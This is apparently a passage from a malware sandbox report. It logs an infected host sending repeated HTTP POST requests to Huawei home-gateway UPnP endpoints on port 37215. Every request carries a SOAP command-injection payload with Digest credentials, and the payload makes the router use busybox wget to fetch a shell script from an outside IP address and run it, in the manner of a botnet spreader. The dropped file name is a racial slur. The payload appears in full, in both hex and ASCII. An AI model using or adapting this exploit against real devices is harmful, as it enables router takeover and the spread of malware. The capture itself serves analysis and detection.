huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:09.952250957 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:14.304080963 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:23.007869959 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
230	192.168.2.15	56286	31.136.74.194	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:06.101195097 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:06.656265974 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:07.776315928 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:10.208298922 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:14.816092968 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
231	192.168.2.15	39678	31.136.129.81	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:06.104058027 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
